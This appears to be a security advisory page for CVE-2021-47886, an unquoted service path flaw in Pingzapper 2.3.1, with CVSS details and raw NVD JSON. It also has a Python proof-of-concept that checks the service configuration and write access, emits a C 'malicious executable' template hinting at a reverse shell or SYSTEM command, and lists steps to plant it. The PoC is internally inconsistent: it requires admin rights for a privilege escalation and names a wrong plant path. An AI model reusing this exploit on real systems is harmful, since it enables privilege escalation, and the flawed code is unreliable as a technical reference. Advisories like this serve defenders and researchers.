Security Vulnerability Report
中文
CVE-2021-47886 CVSS 7.8 HIGH

CVE-2021-47886

Published: 2026-01-21 18:16:23
Last Modified: 2026-04-15 00:35:42

Description

Pingzapper 2.3.1 contains an unquoted service path vulnerability in the PingzapperSvc service that allows local attackers to potentially execute arbitrary code. Attackers can exploit the unquoted path in 'C:\Program Files (x86)\Pingzapper\PZService.exe' to inject malicious executables and escalate privileges.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Pingzapper 2.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2021-47886 PoC - Pingzapper Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Pingzapper 2.3.1 # Author: Security Researcher # Reference: https://www.exploit-db.com/exploits/49626 import os import sys import subprocess import ctypes def is_admin(): """Check if the current process has administrator privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def create_malicious_executable(): """Create a malicious executable that will be placed in the unquoted path""" malicious_code = ''' #include <windows.h> #include <stdio.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // Entry point for the malicious executable int main() { // Create a reverse shell or execute arbitrary code here // This code runs with SYSTEM privileges when executed by the service // Example: Write to a log file to demonstrate execution FILE *fp = fopen("C:\\\\Windows\\\\Temp\\\\poc_log.txt", "a"); if (fp) { fprintf(fp, "[+] CVE-2021-47886 exploit triggered at %s\n", __TIMESTAMP__); fclose(fp); } // Execute payload with SYSTEM privileges // system("cmd.exe /c <your_command_here>"); return 0; } ''' # In a real attack scenario, compile this to PZService.exe # and place it in C:\Program Files (x86)\ or C:\Program\ print("[*] Malicious executable template created") print("[*] Compile and place as: C:\\Program Files (x86)\\PZService.exe") return malicious_code def check_vulnerable_service(): """Check if the PingzapperSvc service is vulnerable""" try: # Query the service configuration result = subprocess.run( ['sc', 'qc', 'PingzapperSvc'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[*] PingzapperSvc service found") # Check if path is unquoted if 'Program Files' in result.stdout and '"' not in result.stdout.split('BINARY_PATH_NAME')[1].split('\n')[0]: print("[+] Service is VULNERABLE - unquoted path detected") print("[*] Path: C:\\\\Program Files (x86)\\\\Pingzapper\\\\PZService.exe") return True else: print("[-] Service path appears to be quoted or not found") return False else: print("[-] PingzapperSvc service not found") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2021-47886 - Pingzapper Unquoted Service Path Exploit") print("=" * 60) if not is_admin(): print("[-] This exploit requires administrator privileges") print("[*] Please run as administrator") return False print("[+] Running with administrator privileges") # Step 1: Check if service is vulnerable print("\n[*] Step 1: Checking PingzapperSvc service...") if not check_vulnerable_service(): print("[-] Target is not vulnerable or service not found") return False # Step 2: Check write permissions to intermediate directories print("\n[*] Step 2: Checking write permissions to C:\\\\Program Files (x86)\\...") target_dir = r'C:\Program Files (x86)' if os.access(target_dir, os.W_OK): print(f"[+] Write access to {target_dir} - VULNERABLE") else: print(f"[-] No write access to {target_dir}") print("[*] Exploitation may still be possible with limited privileges") # Step 3: Create malicious executable print("\n[*] Step 3: Generating malicious executable...") create_malicious_executable() print("\n[!] IMPORTANT: This is for educational purposes only") print("[!] Unauthorized access to computer systems is illegal") print("\n[*] To complete exploitation:") print(" 1. Compile the malicious code to PZService.exe") print(f" 2. Place it in: C:\\\\Program Files (x86)\\\\PZService.exe") print(" 3. Wait for service restart or system reboot") print(" 4. The malicious code will execute with SYSTEM privileges") return True if __name__ == '__main__': exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47886", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:22.977", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pingzapper 2.3.1 contains an unquoted service path vulnerability in the PingzapperSvc service that allows local attackers to potentially execute arbitrary code. Attackers can exploit the unquoted path in 'C:\\Program Files (x86)\\Pingzapper\\PZService.exe' to inject malicious executables and escalate privileges."}, {"lang": "es", "value": "Pingzapper 2.3.1 contiene una vulnerabilidad de ruta de servicio sin comillas en el servicio PingzapperSvc que permite a atacantes locales ejecutar potencialmente código arbitrario. Los atacantes pueden explotar la ruta sin comillas en 'C:\\Program Files (x86)\\Pingzapper\\PZService.exe' para inyectar ejecutables maliciosos y escalar privilegios."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://pingzapper.com", "source": "[email protected]"}, {"url": "https://pingzapper.com/download", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49626", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/pingzapper-pingzappersvc-unquoted-service-path", "source": "[email protected]"}]}}